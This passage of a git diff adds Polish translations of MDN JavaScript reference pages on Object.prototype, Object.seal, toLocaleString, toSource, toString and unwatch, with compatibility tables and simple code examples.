+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatIE("11")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Uwagi_odnośnie_kompatybilności">Uwagi odnośnie kompatybilności</h2>
+
+<p>Mimo, że specyfikacja ECMAScript 2015 określa iż wsparcie dla <code>__proto__</code> jest wymagane <em>tylko</em> dla przeglądarek internetowych (w zasadzie normatywnie), to inne środowiska równieź mogą wspierać tę funkcjonalność.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html
new file mode 100644
index 0000000000..2e4e257602
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html
@@ -0,0 +1,218 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Referencje/Obiekty/Object/prototype
+tags:
+ - JavaScript
+ - Obiekt
+ - Object
+ - Property
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<p>{{JSRef}}</p>
+
+<p><code style="font-style: normal;"><strong>Object.prototype</strong></code> reprezentuje prototyp obiektów klasy {{jsxref("Object")}}.</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wszystkie obiekty w języku JavaScript wywodzą się od {{jsxref("Object")}}; wszystkie obiekty dziedziczą metody i pola po <code>Object.prototype,</code> chociaż mogą one zostać przeciążone (z wyjątkiem <code>Object</code>'u o prototypie <code>null</code>, tj. <code>Object.create(null)</code>). Na przykład, prototypy innych konstruktorów przeciążają pole <code>constructor</code> i zapewniają swoje własne wersje metod {{jsxref("Object.prototype.toString()", "toString()")}}. Zmiany do prototypu <code>Object</code> propagowane są do wszystkich obiektów, chyba że dane metody i pola zostały przeciążone w prototypie którejś z klas bazowych.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>Określa konstruktor obiektu - funkcję, która tworzy prototyp obiektu.</dd>
+ <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>Wskazuje na obiekt który był użyty jako prototyp, kiedy dany obiekt był inicjalizowany.</dd>
+ <dt>{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt>
+ <dd>Pozwala zdefiniować funkcję, która będzie wykonana kiedy niezdefiniowany element obiektu zostanie wywołany jako metoda.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Własność zwracała liczbę właściwości tzw. enumerable posiadanych przez zdefiniowany przez użytkownika obiekt. Własność ta została usunięta.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Była używana do wskazywania kontwkstu obiektu.</s><span class="obsoleteElement" style="opacity: 0.3;"> Własność ta została usunięta.</span></dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Przypisuje funkcję do pola, do którego odwołanie wywoła tę funkcję, która zwróci odpowiednią wartość.</dd>
+ <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Przypisuje funkcję do pola, którego ustawienie wywoła tę funkcję, która zmodyfikuje wartość pola.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Zwraca funkcję powiązaną z danym polem poprzez metodę {{jsxref("Object.defineGetter", "__defineGetter__")}}.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Zwraca funkcję powiązaną z danym polem poprzez metodę {{jsxref("Object.defineSetter", "__defineSetter__")}}.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>Zwraca wartość boolean wskazującą czy obiekt posiada dane pole (wykluczając przypadki, gdy pole jest odziedziczone).</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>Zwraca wartość boolean wskazującą czy dany obiekt znajduje się w łańcuchu prototypów obiektu podanego jako parametr funkcji.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>Zwraca wartość boolean wskazującą czy ustawiony jest atrybut <a href="/en-US/docs/ECMAScript_DontEnum_attribute" title="ECMAScript_DontEnum_attribute">ECMAScript DontEnum attribute</a>.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Zwraca literał obiektowy reprezentujący dany obiekt; można go użyć do utworzenia nowego obiektu.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>Wywołuje {{jsxref("Object.toString", "toString()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>Zwraca łańcuch znaków reprezentujący dany obiekt.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>Usuwa funkcję monitorującą daną własność obiektu.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>Zwraca wartość prostą danego obiektu.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>Dodaje funkcję monitorującą daną własność obiektu.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Wykonuje kod JavaScriptu zawarty w łańcuchu znaków w kontekście danego obiektu.</s></dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Jako, iż JavaScript nie posiada typowego rozróżnienia na klasę bazową i dziedziczącą,  prototype jest przydatnym obejściem pozwalającym na utworzenie “klasy bazowej” z pewnych funkcji, które działają jak obiekty. Na przykład:</p>
+
+<pre class="brush: js">var Osoba = function() {
+ this.umieMowic = true;
+};
+
+Osoba.prototype.powitaj = function() {
+ if (this.umieMowic) {
+ console.log('Hej, jestem ' + this.imie);
+ }
+};
+
+var Pracownik = function(imie, tytul) {
+ Osoba.call(this);
+ this.imie = imie;
+ this.tytul = tytul;
+};
+
+Pracownik.prototype = Object.create(Osoba.prototype);
+Pracownik.prototype.constructor = Pracownik;
+
+Pracownik.prototype.powitaj = function() {
+ if (this.umieMowic) {
+ console.log('Hej, jestem ' + this.imie + ', ' + this.tytul);
+ }
+};
+
+var Klient = function(imie) {
+ Osoba.call(this);
+ this.imie = imie;
+};
+
+Klient.prototype = Object.create(Osoba.prototype);
+Klient.prototype.constructor = Klient;
+
+var Mim = function(imie) {
+ Osoba.call(this);
+ this.imie = imie;
+ this.umieMowic = false;
+};
+
+Mim.prototype = Object.create(Osoba.prototype);
+Mim.prototype.constructor = Mim;
+
+var bob = new Pracownik('Bob', 'Builder');
+var joe = new Klient('Joe');
+var rg = new Pracownik('Red Green', 'Handyman');
+var mike = new Klient('Mike');
+var mim = new Mim('Mim');
+
+bob.powitaj();
+// Hej, jestem Bob, Builder
+
+joe.powitaj();
+// Hej, jestem Joe
+
+rg.powitaj();
+// Hej, jestem Red Green, Handyman
+
+mike.powitaj();
+// Hej, jestem Mike
+
+mim.powitaj();
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Początkowa definicja. Zaimplementowano w JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/seal/index.html b/files/pl/web/javascript/referencje/obiekty/object/seal/index.html
new file mode 100644
index 0000000000..ba52ba9665
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/seal/index.html
@@ -0,0 +1,165 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Referencje/Obiekty/Object/seal
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>Object.seal()</strong></code> "uszczelnia" obiekt, zabezpieczając przed dodaniem nowych właściwości oraz czyniąc wszystkie już istniejące jako niekonfigurowalne. Wartość znajdujące się już w obiekcie mogą być cały czas zmieniane tak długo dopóki posiadają atrybut <strong>writable</strong>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Object.seal(<var>obj</var>)</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Obiekt który powinien zostać zamknięty.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Uszczelniony obiekt.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Standardowo obiekty są {{jsxref("Object.isExtensible()", "extensible", "", 1)}} (nowe właściwości mogą być do nich dodawane). Zamknięcie obiektu zabezpiecza przed możliwością ich dodawania oraz oznacza wszystkie już obecne jako niekonfigurowalne. To skutkuje tym, że zestaw właściwości obiektu staje się niemutowalny. Sprawienie, że wszystkie właściwości są również niekonfigurowalne  zabezpiecza je przed byciem przekonwertowane na akcesory/mutatory i odwrotnie, jednak nie zapobiega to zmianie wartości. Próba usunięcia lub dodania nowych właściwości do uszczelnionego obiektu lub konwersja jakiejś właściwości do akcesorów/mutatorów zawiedzie bez wyjątku lub wywołując {{jsxref("TypeError")}} (tak jest najczęściej, choć nie całkowicie, kiedy skrypt jest w {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p>
+
+<p>Łancuch prototypów pozostaje nie zmieniony, jednakże właściwość {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} jest również niemożliwa do zmiany.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var obj = {
+ prop: function() {},
+ foo: 'bar'
+};
+
+// Nowe właściwości mogą być dodane,
+// istniejące - zmienione lub usunięte.
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+o === obj; // true
+Object.isSealed(obj); // === true
+
+// Zmiana wartości na zamkniętym obiekcie nadal działa.
+obj.foo = 'quux';
+
+// Jednak nie możesz zmienić właściwości obieku do akcesorów i odwrotnie
+Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // throws a TypeError
+
+// W tym momencie jakiekolwiek inne zmiany właściwości obiektu zawiodą
+obj.quaxxor = 'the friendly duck'; // nie doda właściwości, nie rzucając wyjątku
+delete obj.foo; // nie usunie właściwości, nie rzucając wyjątku
+
+// ...w trybie strict takie operacje będą rzucać wyjątkami.
+function fail() {
+ 'use strict';
+ delete obj.foo; // rzuca TypeError
+ obj.sparky = 'arf'; // rzuca TypeError
+}
+fail();
+
+// Próba dodania właściwości przez Object.defineProperty zawiedzie
+Object.defineProperty(obj, 'ohai', { value: 17 }); // rzuca TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // zmienia istniejącą wartość
+</pre>
+
+<h2 id="Uwagi">Uwagi</h2>
+
+<p>W ES5, jeżeli argumentem metody nie jest obiekt (jest to prymitywna struktura), spowoduje to wywołanie {{jsxref("TypeError")}}. W ES6, argument nie będący obiektem zostanie potraktowany jakby już był uszczelnionym, zwykłym obiektem i będzie zwrócony.</p>
+
+<pre class="brush: js">Object.seal(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.seal(1);
+// 1 (ES6 code)
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Wstępna definicja. Implementowano w  JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_w_przeglądarkach">Kompatybilność w przeglądarkach</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("6")}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatOpera("12")}}</td>
+ <td>{{CompatSafari("5.1")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html
new file mode 100644
index 0000000000..1cd0074d45
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html
@@ -0,0 +1,35 @@
+---
+title: Object.prototype.toLocaleString()
+slug: Web/JavaScript/Referencje/Obiekty/Object/toLocaleString
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący obiekt. Ta metoda najczęściej jest przysłonięta przez pochodne obiekty.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.toLocaleString();</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>Object</code> <code>toLocaleString</code> zwraca rezultat, który nazywamy {{jsxref("Object.toString", "toString()")}}.</p>
+
+<p>Ta metoda jest dostarczona dając obiektom generującą metodę <code>toLocaleString()</code>, nawet mimo to nie wszystkie go używają. Aktualnie, tylko <code>Array</code>, <code>Number</code> i <code>Date</code> nadpisują <code>toLocaleString</code>.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html
new file mode 100644
index 0000000000..4aa67db90c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html
@@ -0,0 +1,73 @@
+---
+title: Object.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/Object/toSource
+tags:
+ - JavaScript
+ - Method
+ - Non-standard
+ - Object
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca literał obiektowy reprezentujący kod źródłowy danego obiektu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Object.toSource();
+<var>obj</var>.toSource();
+</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toSource()</code> zwraca następujące wartości:</p>
+
+<ul>
+ <li>dla obiektu wbudowanego {{jsxref("Object")}} metoda <code>toSource()</code> zwraca następujący ciąg znaków, wskazujący na niedostępność kodu źródłowego:
+
+ <pre class="brush: js">function Object() {
+ [native code]
+}
+</pre>
+ </li>
+ <li>dla instancji {{jsxref("Object")}} metoda <code>toSource()</code> zwraca ciąg reprezentujący ich kod źródłowy.</li>
+</ul>
+
+<p>Metoda ta zazwyczaj jest używana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie. Można jednak wywołać <code>toSource()</code> podczas debugowania, by zbadać zawartość danego obiektu.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toSource" name="Przyk.C5.82ad:_Zastosowanie_toSource">Przykład: Zastosowanie <code>toSource()</code></h3>
+
+<p>Poniższy kod definiuje typ obiektowy <code>Pies</code> i tworzy instancję <code>piesek</code> jako obiekt typu <code>Pies</code>:</p>
+
+<pre class="brush: js language-js"><code class="language-js"><span class="token keyword">function</span> </code>Pies<code class="language-js"><span class="token function"><span class="token punctuation">(</span></span></code>nazwa<code class="language-js"><span class="token punctuation">)</span> <span class="token punctuation">{</span>
+ <span class="token keyword">this</span><span class="token punctuation">.</span></code>nazwa<code class="language-js"> <span class="token operator">=</span> </code>nazwa<code class="language-js"><span class="token punctuation">;</span>
+<span class="token punctuation">}</span>
+
+</code><code>Pies</code><code class="language-js"><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>toSource <span class="token operator">=</span> <span class="token keyword">function</span> </code><code>Pies</code><code class="language-js"><span class="token function">_toSource<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
+ <span class="token keyword">return</span> <span class="token string">'new </span></code><code>Pies</code><code class="language-js"><span class="token string">('</span> <span class="token operator">+</span> <span class="token function">uneval<span class="token punctuation">(</span></span><span class="token keyword">this</span><span class="token punctuation">.</span>nazwa<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">')'</span><span class="token punctuation">;</span>
+<span class="token punctuation">}</span><span class="token punctuation">;</span>
+
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token keyword">new</span> </code><code>Pies</code><code class="language-js"><span class="token punctuation">(</span><span class="token string">'Joe'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toSource<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // ---&gt; new </span></code> <code>Pies</code><code class="language-js"><span class="token comment">("Joe")</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Array", "Array")}} Object method.</li>
+ <li>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Boolean", "Boolean")}} Object method.</li>
+ <li>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Date", "Date")}} Object method.</li>
+ <li>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Function", "Function")}} Object method.</li>
+ <li>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Number", "Number")}} Object method.</li>
+ <li>{{jsxref("Regexp.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/RegExp", "RegExp")}} Object method.</li>
+ <li>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/String", "String")}} Object method.</li>
+ <li>{{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Global_Objects/Symbol", "Symbol")}} Object method.</li>
+ <li><code>Math.toSource()</code> — Returns the String "Math".</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html
new file mode 100644
index 0000000000..e18d93d79a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html
@@ -0,0 +1,98 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Object/toString
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący dany obiekt.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Każdy obiekt posiada metodę <code>toString</code>, która jest wywoływana automatycznie, kiedy obiekt ma zostać przedstawiony jako wartość tekstowa, albo kiedy obiekt jest dołączany do ciągu znakowego. Poniższe przykłady wymagają, by <code>jakisPies</code> był reprezentowany jako łańcuch znaków:</p>
+
+<pre class="brush: js">console.log(jakisPies);
+console.log("jakisPies to " + jakisPies);
+</pre>
+
+<p>Domyślnie metoda <code>toString</code> jest dziedziczona przez każdy obiekt wyprowadzony z obiektu <code>Object</code>. Można przesłonić tę metodę dla własnych obiektów. Jeśli <code>toString</code> nie zostanie przesłonięta we własnych obiektach użytkownika, zwróci ona <code>[object
+ <i>typ</i>
+ ]</code>, gdzie <code>
+ <i>typ</i>
+ </code> jest typem obiektu lub nazwą funkcji konstruktora, która utworzyła ten obiekt.</p>
+
+<p>Na przykład:</p>
+
+<pre class="brush: js">var o = new Object()
+o.toString() // zwraca "[object Object]"
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przes.C5.82anianie_domy.C5.9Blnej_metody_toString" name="Przes.C5.82anianie_domy.C5.9Blnej_metody_toString">Przesłanianie domyślnej metody <code>toString()</code></h3>
+
+<p>Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody <code>toString()</code>. Metoda <code>toString()</code> nie pobiera żadnych argumentów i powinna zwrócić łańcuch znaków. Utworzona przez użytkownika metoda <code>toString()</code> może zwracać dowolną wartość, ale najlepiej, by przekazywała użyteczne informacje na temat obiektu.</p>
+
+<p>Poniższy kod definiuje typ obiektowy <code>Pies</code> i tworzy obiekt <code>jakisPies</code> typu <code>Pies</code>:</p>
+
+<pre class="brush: js">function Pies(nazwa,rasa,wiek,plec) {
+ this.nazwa=nazwa;
+ this.rasa=rasa;
+ this.wiek=wiek;
+ this.plec=plec;
+}
+
+jakisPies = new Pies("Szarik","owczarek niemiecki","5","samiec");</pre>
+
+<p>Jeśli wywołana zostanie metoda <code>toString</code> tego obiektu, zwrócona zostanie domyślna wartość odziedziczona po <code>Object</code>:</p>
+
+<pre class="brush: js">jakisPies.toString(); // zwraca [object Object]
+</pre>
+
+<p>Poniższy kod tworzy funkcję <code>piesToString</code>, która to funkcja będzie przesłaniać domyślną metodę <code>toString</code>. Funkcja ta tworzy łańcuch znaków zawierający każdą własność; budowany łańcuch będzie postaci "<code>własność = wartość;</code>".</p>
+
+<pre class="brush: js">function piesToString() {
+ var ret = "Pies " + this.nazwa + " to: [\n";
+ for (var prop in this)
+ ret += " " + prop + " = " + this[prop] + ";\n";
+ return ret + "]";
+}
+</pre>
+
+<p>Poniższy kod przypisuje zdefiniowaną powyżej funkcję do metody <code>toString</code> obiektów typu obiektowego Pies:</p>
+
+<pre class="brush: js">Pies.prototype.toString = piesToString;
+</pre>
+
+<p>Dzięki powyższemu kodowi za każdym razem, kiedy <code>jakisPies</code> używany jest w kontekście łańcucha znaków, interpreter JavaScriptu automatycznie wywołuje funkcję <code>piesToString</code>, która zwraca poniższy łańcuch:</p>
+
+<pre>Pies Szarik to: [
+ nazwa = Szarik;
+ rasa = owczarek niemiecki;
+ wiek = 5;
+ plec = samiec;
+]
+</pre>
+
+<p>Metoda <code>toString</code> danego obiektu jest zazwyczaj wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie, jak poniżej:</p>
+
+<pre class="brush: js">var piesString = jakisPies.toString();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html b/files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html
new file mode 100644
index 0000000000..fde03bf1eb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html
@@ -0,0 +1,39 @@
+---
+title: Object.prototype.unwatch()
+slug: Web/JavaScript/Referencje/Obiekty/Object/unwatch
+tags:
+ - JavaScript
+ - Method
+ - Non-standard
+ - Object
+ - Prototype
+translation_of: Archive/Web/JavaScript/Object.unwatch
+---
+<p>{{JSRef}}{{ Non-standard_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Usuwa funkcję monitorującą ustawioną poprzez metodę {{jsxref("Object.prototype.watch", "watch()")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.unwatch(<var>wlasnosc</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
